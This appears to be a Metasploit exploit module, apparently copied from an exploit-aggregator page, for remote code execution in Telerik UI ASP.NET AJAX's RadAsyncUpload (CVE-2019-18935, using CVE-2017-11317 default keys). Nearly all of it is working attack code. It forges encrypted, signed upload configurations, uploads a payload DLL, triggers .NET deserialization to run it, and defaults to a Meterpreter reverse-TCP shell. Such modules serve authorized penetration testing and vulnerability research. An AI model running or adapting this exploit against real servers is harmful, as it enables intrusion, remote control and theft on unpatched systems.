Share
## https://sploitus.com/exploit?id=PACKETSTORM:159653
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
SALT = "\x3a\x54\x5b\x19\x0a\x22\x1d\x44\x3c\x58\x2c\x33\x01".b  
# default keys per CVE-2017-11317  
DEFAULT_RAU_SIGNING_KEY = 'PrivateKeyForHashOfUploadConfiguration'.freeze  
DEFAULT_RAU_ENCRYPTION_KEY = 'PrivateKeyForEncryptionOfRadAsyncUploadConfiguration'.freeze  
CVE_2017_11317_REFERENCES = [  
['CVE', '2017-11317'], # Unrestricted File Upload via Weak Encryption  
['URL', 'https://github.com/bao7uo/RAU_crypto'],  
['URL', 'https://www.telerik.com/support/kb/aspnet-ajax/upload-(async)/details/unrestricted-file-upload'],  
['URL', 'https://github.com/straightblast/UnRadAsyncUpload/wiki'],  
].freeze  
CVE_2019_18935_REFERENCES = [  
['CVE', '2019-18935'], # Remote Code Execution via Insecure Deserialization  
['URL', 'https://github.com/noperator/CVE-2019-18935'],  
['URL', 'https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization'],  
['URL', 'https://codewhitesec.blogspot.com/2019/02/telerik-revisited.html'],  
['URL', 'https://labs.bishopfox.com/tech-blog/cve-2019-18935-remote-code-execution-in-telerik-ui'],  
].freeze  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Telerik UI ASP.NET AJAX RadAsyncUpload Deserialization',  
'Description' => %q{  
This module exploits the .NET deserialization vulnerability within the RadAsyncUpload (RAU) component of Telerik  
UI ASP.NET AJAX that is identified as CVE-2019-18935. In order to do so the module must upload a mixed mode .NET  
assembly DLL which is then loaded through the deserialization flaw. Uploading the file requires knowledge of the  
cryptographic keys used by RAU. The default values used by this module are related to CVE-2017-11317, which once  
patched randomizes these keys. It is also necessary to know the version of Telerik UI ASP.NET that is running.  
This version number is in the format YYYY.#(.###)? where YYYY is the year of the release (e.g. '2020.3.915').  
},  
'Author' => [  
'Spencer McIntyre', # Metasploit module  
'Paul Taylor', # (@bao7uo) Python PoCs  
'Markus Wulftange', # (@mwulftange) discovery of CVE-2019-18935  
'Caleb Gross', # (@noperator) research on CVE-2019-18935  
'Alvaro Muñoz', # (@pwntester) discovery of CVE-2017-11317  
'Oleksandr Mirosh', # (@olekmirosh) discover of CVE-2017-11317  
'straightblast', # (@straight_blast) discovery of CVE-2017-11317  
],  
'License' => MSF_LICENSE,  
'References' => CVE_2017_11317_REFERENCES + CVE_2019_18935_REFERENCES,  
'Platform' => 'win',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Targets' => [['Windows', {}],],  
'Payload' => { 'Space' => 2048 },  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',  
'RPORT' => 443,  
'SSL' => true  
},  
'DefaultTarget' => 0,  
'DisclosureDate' => '2019-12-09', # Telerik article on CVE-2019-18935  
'Notes' => {  
'Reliability' => [UNRELIABLE_SESSION],  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]  
},  
'Privileged' => true  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [ true, 'The base path to the web application', '/' ]),  
OptString.new('FILE_NAME', [ false, 'The base file name for the upload (default will be random)' ]),  
OptString.new('DESTINATION', [ true, 'The destination folder for the upload', 'C:\\Windows\\Temp' ]),  
OptString.new('RAU_ENCRYPTION_KEY', [ true, 'The encryption key for the RAU configuration data', DEFAULT_RAU_ENCRYPTION_KEY ]),  
OptString.new('RAU_SIGNING_KEY', [ true, 'The signing key for the RAU configuration data', DEFAULT_RAU_SIGNING_KEY ]),  
OptString.new('VERSION', [ false, 'The Telerik UI ASP.NET AJAX version' ])  
])  
end  
  
def dest_file_basename  
@dest_file_name = @dest_file_name || datastore['FILE_NAME'] || Rex::Text.rand_text_alphanumeric(rand(4..35)) + '.dll'  
end  
  
def check  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'Telerik.Web.UI.WebResource.axd'),  
'vars_get' => { 'type' => 'rau' }  
})  
return CheckCode::Safe unless res&.code == 200  
return CheckCode::Safe unless res.get_json_document&.dig('message') =~ /RadAsyncUpload handler is registered succesfully/  
  
if datastore['VERSION'].blank?  
@version = enumerate_version  
else  
begin  
upload_file('', datastore['VERSION'])  
rescue Msf::Exploit::Failed  
return CheckCode::Safe  
end  
  
@version = datastore['VERSION']  
end  
  
if !@version.nil? && datastore['RAU_SIGNING_KEY'] == DEFAULT_RAU_SIGNING_KEY && datastore['RAU_ENCRYPTION_KEY'] == DEFAULT_RAU_ENCRYPTION_KEY  
print_status('Server is using default crypto keys and is vulnerable to CVE-2017-11317')  
report_vuln({  
host: rhost,  
port: rport,  
proto: 'tcp',  
name: 'Unrestricted File Upload via Weak Encryption',  
refs: CVE_2017_11317_REFERENCES.map { |ctx_id, ctx_val| SiteReference.new(ctx_id, ctx_val) }  
})  
end  
  
# with custom errors enabled (which is the default), it's not possible to test for the serialization flaw without triggering it  
CheckCode::Detected  
end  
  
def exploit  
fail_with(Failure::BadConfig, 'No version was specified and it could not be enumerated') if @version.nil?  
upload_file(generate_payload_dll({ mixed_mode: true }), @version)  
execute_payload  
end  
  
def execute_payload  
print_status('Executing the payload...')  
serialized_object = { 'Path' => "#{datastore['DESTINATION'].chomp('\\').gsub('\\', '/')}/#{dest_file_basename}.tmp" }  
serialized_object_type = Msf::Util::DotNetDeserialization::Assemblies::VERSIONS['4.0.0.0']['System.Configuration.Install']['System.Configuration.Install.AssemblyInstaller']  
  
msg = rau_mime_payload(serialized_object, serialized_object_type.to_s)  
res = send_request_cgi(  
{  
'uri' => normalize_uri(target_uri.path, 'Telerik.Web.UI.WebResource.axd'),  
'vars_get' => { 'type' => 'rau' },  
'method' => 'POST',  
'data' => msg.to_s,  
'ctype' => "multipart/form-data; boundary=#{msg.bound}"  
}, 5  
)  
# this request to execute the payload times out on success and returns 200 when it fails, for example because the  
# AllowedCustomMetaDataTypes setting is blocking the necessary code path  
fail_with(Failure::UnexpectedReply, 'Failed to execute the payload') if res&.code == 200  
end  
  
def upload_file(file_contents, version)  
target_folder = encrypt('')  
temp_target_folder = encrypt(datastore['DESTINATION'].encode('UTF-16LE'))  
if (version =~ /(\d{4})\.\d+.\d+/) && Regexp.last_match(1).to_i > 2016  
# signing is only necessary for versions >= 2017.1.118 (versions that don't match the regex don't require signing)  
target_folder << sign(target_folder)  
temp_target_folder << sign(temp_target_folder)  
end  
  
serialized_object = {  
'TargetFolder' => target_folder,  
'TempTargetFolder' => temp_target_folder,  
'MaxFileSize' => 0,  
'TimeToLive' => {  
'Ticks' => 1440000000000,  
'Days' => 0,  
'Hours' => 40,  
'Minutes' => 0,  
'Seconds' => 0,  
'Milliseconds' => 0,  
'TotalDays' => 1.6666666666666665,  
'TotalHours' => 40,  
'TotalMinutes' => 2400,  
'TotalSeconds' => 144000,  
'TotalMilliseconds' => 144000000  
},  
'UseApplicationPoolImpersonation' => false  
}  
serialized_object_type = "Telerik.Web.UI.AsyncUploadConfiguration, Telerik.Web.UI, Version=#{version}, Culture=neutral, PublicKeyToken=121fae78165ba3d4"  
  
msg = rau_mime_payload(serialized_object, serialized_object_type, file_contents: file_contents)  
res = send_request_cgi(  
{  
'uri' => normalize_uri(target_uri.path, 'Telerik.Web.UI.WebResource.axd'),  
'vars_get' => { 'type' => 'rau' },  
'method' => 'POST',  
'data' => msg.to_s,  
'ctype' => "multipart/form-data; boundary=#{msg.bound}"  
}  
)  
fail_with(Failure::UnexpectedReply, 'The upload failed') unless res&.code == 200  
metadata = JSON.parse(decrypt(res.get_json_document.dig('metaData')).force_encoding('UTF-16LE'))  
dest_path = "#{datastore['DESTINATION'].chomp('\\')}\\#{metadata['TempFileName']}"  
print_good("Uploaded #{file_contents.length} bytes to: #{dest_path}")  
register_file_for_cleanup(dest_path)  
end  
  
def rau_mime_payload(serialized_object, serialized_object_type, file_contents: '')  
metadata = { 'TotalChunks' => 1, 'ChunkIndex' => 0, 'TotalFileSize' => 1, 'UploadID' => dest_file_basename }  
  
post_data = Rex::MIME::Message.new  
post_data.add_part(encrypt(serialized_object.to_json.encode('UTF-16LE')) + '&' + encrypt(serialized_object_type.encode('UTF-16LE')), nil, nil, 'form-data; name="rauPostData"')  
post_data.add_part(file_contents, 'application/octet-stream', 'binary', "form-data; name=\"file\"; filename=\"#{dest_file_basename}\"")  
post_data.add_part(dest_file_basename, nil, nil, 'form-data; name="fileName"')  
post_data.add_part('application/octet-stream', nil, nil, 'form-data; name="contentType"')  
post_data.add_part('1970-01-01T00:00:00.000Z', nil, nil, 'form-data; name="lastModifiedDate"')  
post_data.add_part(metadata.to_json, nil, nil, 'form-data; name="metadata"')  
post_data  
end  
  
def enumerate_version  
print_status('Enumerating the Telerik UI ASP.NET AJAX version, this will fail if the keys are incorrect')  
File.open(File.join(Msf::Config.data_directory, 'wordlists', 'telerik_ui_asp_net_ajax_versions.txt'), 'rb').each_line do |version|  
version.strip!  
next if version.start_with?('#')  
  
vprint_status("Checking version: #{version}")  
begin  
upload_file('', version)  
rescue Msf::Exploit::Failed  
next  
end  
  
print_good("The Telerik UI ASP.NET AJAX version has been identified as: #{version}")  
return version  
end  
  
nil  
end  
  
#  
# Crypto Functions  
#  
def get_cipher(mode)  
# older versions might need to use pbkdf1  
blob = OpenSSL::PKCS5.pbkdf2_hmac_sha1(datastore['RAU_ENCRYPTION_KEY'], SALT, 1000, 48)  
cipher = OpenSSL::Cipher.new('AES-256-CBC').send(mode)  
cipher.key = blob.slice(0, 32)  
cipher.iv = blob.slice(32, 48)  
cipher  
end  
  
def decrypt(cipher_text)  
cipher = get_cipher(:decrypt)  
cipher.update(Rex::Text.decode_base64(cipher_text)) + cipher.final  
end  
  
def encrypt(plain_text)  
cipher = get_cipher(:encrypt)  
cipher_text = ''  
cipher_text << cipher.update(plain_text) unless plain_text.empty?  
cipher_text << cipher.final  
Rex::Text.encode_base64(cipher_text)  
end  
  
def sign(data)  
Rex::Text.encode_base64(OpenSSL::HMAC.digest('SHA256', datastore['RAU_SIGNING_KEY'], data))  
end  
end